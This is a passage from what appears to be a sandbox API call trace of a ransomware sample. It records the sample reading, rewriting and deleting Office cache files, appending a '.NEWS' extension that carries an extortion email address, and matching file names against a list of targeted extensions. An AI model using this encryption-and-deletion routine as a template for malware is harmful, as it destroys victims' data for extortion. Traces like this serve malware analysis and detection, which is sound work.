lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0066.438] ReadFile (in: hFile=0x214, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.438] WriteFile (in: hFile=0x208, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.439] SetEndOfFile (hFile=0x208) returned 1 [0066.439] CloseHandle (hObject=0x208) returned 1 [0066.439] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.439] SetEndOfFile (hFile=0x214) returned 1 [0066.443] CloseHandle (hObject=0x214) returned 1 [0066.443] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0066.443] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0066.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0066.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0066.444] lstrlenW (lpString=".doc") returned 4 [0066.444] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0066.444] lstrlenW (lpString=".docx") returned 5 [0066.444] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0066.444] lstrlenW (lpString=".pdf") returned 4 [0066.444] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0066.444] lstrlenW (lpString=".xls") returned 4 [0066.444] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0066.444] lstrlenW (lpString=".xlsx") returned 5 [0066.444] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0066.444] lstrlenW (lpString=".ppt") returned 4 [0066.444] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0066.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0066.445] lstrlenW (lpString=".zip") returned 4 [0066.445] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0066.445] lstrlenW (lpString=".rar") returned 4 [0066.445] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0066.445] lstrlenW (lpString=".bz2") returned 4 [0066.445] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0066.445] lstrlenW (lpString=".7z") returned 3 [0066.445] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0066.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0066.445] lstrlenW (lpString=".dbf") returned 4 [0066.445] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0066.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0066.445] lstrlenW (lpString=".1cd") returned 4 [0066.445] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0066.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0066.445] lstrlenW (lpString=".jpg") returned 4 [0066.445] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0066.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0066.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0066.445] lstrlenW (lpString=".doc") returned 4 [0066.446] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0066.446] lstrlenW (lpString=".docx") returned 5 [0066.446] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0066.446] lstrlenW (lpString=".pdf") returned 4 [0066.446] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0066.446] lstrlenW (lpString=".xls") returned 4 [0066.446] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0066.446] lstrlenW (lpString=".xlsx") returned 5 [0066.446] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0066.446] lstrlenW (lpString=".ppt") returned 4 [0066.446] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0066.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0066.446] lstrlenW (lpString=".zip") returned 4 [0066.446] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0066.446] lstrlenW (lpString=".rar") returned 4 [0066.446] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0066.446] lstrlenW (lpString=".bz2") returned 4 [0066.446] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0066.446] lstrlenW (lpString=".7z") returned 3 [0066.446] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0066.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0066.446] lstrlenW (lpString=".dbf") returned 4 [0066.446] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0066.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0066.447] lstrlenW (lpString=".1cd") returned 4 [0066.447] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0066.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0066.447] lstrlenW (lpString=".jpg") returned 4 [0066.447] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0066.447] lstrcmpiW (lpString1=".MST", lpString2=".NEWS") returned -1 [0066.447] lstrlenW (lpString="ShellUI.MST") returned 11 [0066.447] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.448] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=3584) returned 1 [0066.448] CloseHandle (hObject=0x214) returned 1 [0066.448] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0066.448] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.448] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.448] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.448] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.448] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0066.453] GetLastError () returned 0x0 [0066.453] ReadFile (in: hFile=0x214, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0xe00, lpOverlapped=0x0) returned 1 [0066.640] WriteFile (in: hFile=0x208, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0xe10, lpOverlapped=0x0) returned 1 [0066.642] ReadFile (in: hFile=0x214, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.642] WriteFile (in: hFile=0x208, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0xea, lpOverlapped=0x0) returned 1 [0066.642] SetEndOfFile (hFile=0x208) returned 1 [0066.643] CloseHandle (hObject=0x208) returned 1 [0066.643] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.643] SetEndOfFile (hFile=0x214) returned 1 [0066.645] CloseHandle (hObject=0x214) returned 1 [0066.645] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0066.645] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0066.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0066.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0066.646] lstrlenW (lpString=".doc") returned 4 [0066.646] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0066.646] lstrlenW (lpString=".docx") returned 5 [0066.646] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0066.646] lstrlenW (lpString=".pdf") returned 4 [0066.646] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0066.646] lstrlenW (lpString=".xls") returned 4 [0066.646] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0066.646] lstrlenW (lpString=".xlsx") returned 5 [0066.646] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0066.646] lstrlenW (lpString=".ppt") returned 4 [0066.646] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0066.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0066.646] lstrlenW (lpString=".zip") returned 4 [0066.646] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0066.646] lstrlenW (lpString=".rar") returned 4 [0066.646] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0066.646] lstrlenW (lpString=".bz2") returned 4 [0066.646] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0066.647] lstrlenW (lpString=".7z") returned 3 [0066.647] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0066.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0066.647] lstrlenW (lpString=".dbf") returned 4 [0066.647] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0066.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0066.647] lstrlenW (lpString=".1cd") returned 4 [0066.647] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0066.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0066.647] lstrlenW (lpString=".jpg") returned 4 [0066.647] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0066.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0066.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0066.647] lstrlenW (lpString=".doc") returned 4 [0066.647] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0066.647] lstrlenW (lpString=".docx") returned 5 [0066.647] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0066.647] lstrlenW (lpString=".pdf") returned 4 [0066.647] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0066.647] lstrlenW (lpString=".xls") returned 4 [0066.648] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0066.648] lstrlenW (lpString=".xlsx") returned 5 [0066.648] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0066.648] lstrlenW (lpString=".ppt") returned 4 [0066.648] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0066.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0066.648] lstrlenW (lpString=".zip") returned 4 [0066.648] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0066.648] lstrlenW (lpString=".rar") returned 4 [0066.648] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0066.648] lstrlenW (lpString=".bz2") returned 4 [0066.648] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0066.648] lstrlenW (lpString=".7z") returned 3 [0066.648] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0066.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0066.648] lstrlenW (lpString=".dbf") returned 4 [0066.648] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0066.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0066.648] lstrlenW (lpString=".1cd") returned 4 [0066.648] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0066.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0066.648] lstrlenW (lpString=".jpg") returned 4 [0066.649] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0066.649] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0066.649] lstrlenW (lpString="AccLR.cab") returned 9 [0066.649] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0066.783] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=28016276) returned 1 [0066.783] CloseHandle (hObject=0x208) returned 1 [0066.783] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0066.783] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.783] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0066.784] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0066.784] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0x0) returned 1 [0066.784] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0066.784] ReadFile (in: hFile=0x208, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.791] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0066.791] ReadFile (in: hFile=0x208, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.802] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0066.803] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0066.803] ReadFile (in: hFile=0x208, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.820] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.820] WriteFile (in: hFile=0x208, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x391fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0068.212] SetEndOfFile (hFile=0x208) returned 1 [0068.212] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3ef4860 [0068.213] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0068.213] WriteFile (in: hFile=0x208, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0068.214] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0068.214] WriteFile (in: hFile=0x208, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0068.221] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0068.221] WriteFile (in: hFile=0x208, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0068.225] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ef4860 | out: hHeap=0x5c0000) returned 1 [0068.337] CloseHandle (hObject=0x208) returned 1 [0068.337] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0068.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0068.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0068.338] lstrlenW (lpString=".doc") returned 4 [0068.338] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0068.338] lstrlenW (lpString=".docx") returned 5 [0068.338] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0068.338] lstrlenW (lpString=".pdf") returned 4 [0068.338] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0068.338] lstrlenW (lpString=".xls") returned 4 [0068.338] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0068.338] lstrlenW (lpString=".xlsx") returned 5 [0068.338] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0068.338] lstrlenW (lpString=".ppt") returned 4 [0068.338] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0068.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0068.338] lstrlenW (lpString=".zip") returned 4 [0068.338] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0068.339] lstrlenW (lpString=".rar") returned 4 [0068.339] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0068.339] lstrlenW (lpString=".bz2") returned 4 [0068.339] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0068.339] lstrlenW (lpString=".7z") returned 3 [0068.339] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0068.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0068.339] lstrlenW (lpString=".dbf") returned 4 [0068.339] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0068.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0068.339] lstrlenW (lpString=".1cd") returned 4 [0068.339] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0068.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0068.340] lstrlenW (lpString=".jpg") returned 4 [0068.340] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0068.340] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0068.340] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0068.340] lstrlenW (lpString=".doc") returned 4 [0068.340] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0068.340] lstrlenW (lpString=".docx") returned 5 [0068.340] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0068.340] lstrlenW (lpString=".pdf") returned 4 [0068.340] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0068.340] lstrlenW (lpString=".xls") returned 4 [0068.340] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0068.340] lstrlenW (lpString=".xlsx") returned 5 [0068.340] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0068.340] lstrlenW (lpString=".ppt") returned 4 [0068.340] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0068.340] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0068.340] lstrlenW (lpString=".zip") returned 4 [0068.341] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0068.341] lstrlenW (lpString=".rar") returned 4 [0068.341] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0068.341] lstrlenW (lpString=".bz2") returned 4 [0068.341] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0068.341] lstrlenW (lpString=".7z") returned 3 [0068.341] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0068.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0068.341] lstrlenW (lpString=".dbf") returned 4 [0068.341] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0068.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0068.341] lstrlenW (lpString=".1cd") returned 4 [0068.341] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0068.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0068.341] lstrlenW (lpString=".jpg") returned 4 [0068.341] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0068.341] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0068.342] lstrlenW (lpString="ose.exe") returned 7 [0068.342] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 